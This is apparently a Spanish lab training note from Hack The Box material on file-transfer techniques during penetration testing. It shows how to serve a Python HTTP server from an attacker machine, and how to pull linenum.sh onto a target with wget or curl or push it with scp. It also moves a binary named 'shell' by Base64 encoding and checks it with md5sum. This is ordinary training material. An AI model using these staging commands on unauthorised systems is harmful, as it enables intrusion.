Transfering Files

Transferencia de Archivos Usando wget y cURL

Existen múltiples métodos para transferir archivos entre tu máquina local y un servidor remoto. Uno de los métodos más comunes implica ejecutar un servidor HTTP en Python en tu máquina local y luego utilizar herramientas como wget o cURL para descargar el archivo desde el host remoto. A continuación, se detalla cómo realizar este proceso.

Paso 1: Configurar un Servidor HTTP en Python

Primero, navega al directorio que contiene el archivo que deseas transferir y ejecuta un servidor HTTP utilizando Python:

# Navegar al directorio /tmp
sherlock28@htb[/htb]$ cd /tmp

# Iniciar un servidor HTTP en el puerto 8000
sherlock28@htb[/htb]$ python3 -m http.server 8000

Esto iniciará un servidor HTTP que escucha en todas las interfaces de red (0.0.0.0) en el puerto 8000.

Paso 2: Descargar el Archivo en el Host Remoto Usando wget

Una vez que el servidor HTTP está en funcionamiento en tu máquina local, puedes descargar el archivo en el host remoto utilizando wget:

# En el host remoto, descargar el archivo linenum.sh desde tu máquina local
user@remotehost$ wget http://10.10.14.1:8000/linenum.sh

Notas Importantes:

  • IP y Puerto: Asegúrate de reemplazar 10.10.14.1 con la dirección IP de tu máquina local y verificar que el puerto 8000 esté abierto y no bloqueado por un firewall.

  • Archivo: En este ejemplo, el archivo que se transfiere es linenum.sh.

Paso 3: Descargar el Archivo Usando cURL (Si wget No Está Disponible)

Si el host remoto no tiene wget instalado, puedes utilizar cURL para realizar la descarga:

# En el host remoto, descargar el archivo linenum.sh usando cURL
user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

Explicación de la Comando:

  • curl: Herramienta de línea de comandos para transferir datos con sintaxis de URL.

  • http://10.10.14.1:8000/linenum.sh: URL desde donde se descarga el archivo.

  • -o linenum.sh: Especifica el nombre del archivo de salida.

Transferencia de Archivos con SCP

Otra opción para transferir archivos es utilizar scp, siempre que tengamos credenciales de acceso SSH en el host remoto. El proceso se realiza de la siguiente manera:

Transferir el archivo con scp

Si ya hemos obtenido las credenciales SSH del usuario en el host remoto, podemos transferir archivos usando el siguiente comando:

scp linenum.sh user@remotehost:/tmp/linenum.sh

Al ejecutar este comando, se solicitará la contraseña del usuario en el host remoto:

user@remotehost's password: *********

El archivo linenum.sh se transferirá al directorio /tmp/ del host remoto.

Nota: Especificamos el nombre del archivo local después del comando scp, seguido de la ubicación en el host remoto donde se guardará, después de :.

Transferencia de Archivos con Base64

En algunos casos, no podremos transferir archivos directamente, como cuando el host remoto tiene protecciones de firewall que impiden descargar archivos desde nuestra máquina. En situaciones como esta, podemos utilizar un truco simple: codificar el archivo en formato Base64, luego copiar la cadena codificada al servidor remoto y decodificarla allí. Aquí te muestro cómo hacerlo.

  1. Codificar el archivo en Base64

    Supongamos que queremos transferir un archivo binario llamado shell. Primero, lo codificamos en Base64 con el siguiente comando:

    base64 shell -w 0

    Esto generará una cadena Base64 larga similar a esta:

    f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU
  2. Decodificar el archivo en el host remoto

    Ahora, copiamos la cadena Base64 generada y la pegamos en el host remoto. Luego, utilizamos el siguiente comando para decodificarla y guardar el archivo:

    echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

    Este comando decodificará la cadena Base64 y generará el archivo shell en el host remoto.

Validando la Transferencia de Archivos

Para asegurarnos de que un archivo se haya transferido correctamente, podemos utilizar el comando file para verificar su formato:

user@remotehost$ file shell

Este comando nos devolverá información sobre el tipo de archivo. Por ejemplo:

shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Como podemos ver, al ejecutar el comando file sobre el archivo shell, se indica que es un binario ELF, lo que significa que la transferencia fue exitosa.

Verificación con MD5

Para asegurarnos de que el archivo no se corrompió durante el proceso de codificación y decodificación, podemos comparar su hash MD5. Primero, calculamos el hash MD5 en nuestra máquina local:

sherlock28@htb[/htb]$ md5sum shell

Esto generará una salida similar a esta:

321de1d7e7c3735838890a72c9ae7d1d shell

Luego, en el servidor remoto, ejecutamos el mismo comando sobre el archivo transferido:

user@remotehost$ md5sum shell

Deberíamos obtener el mismo hash MD5:

321de1d7e7c3735838890a72c9ae7d1d shell

Si ambos hashes coinciden, significa que el archivo se transfirió correctamente sin alteraciones.

Last updated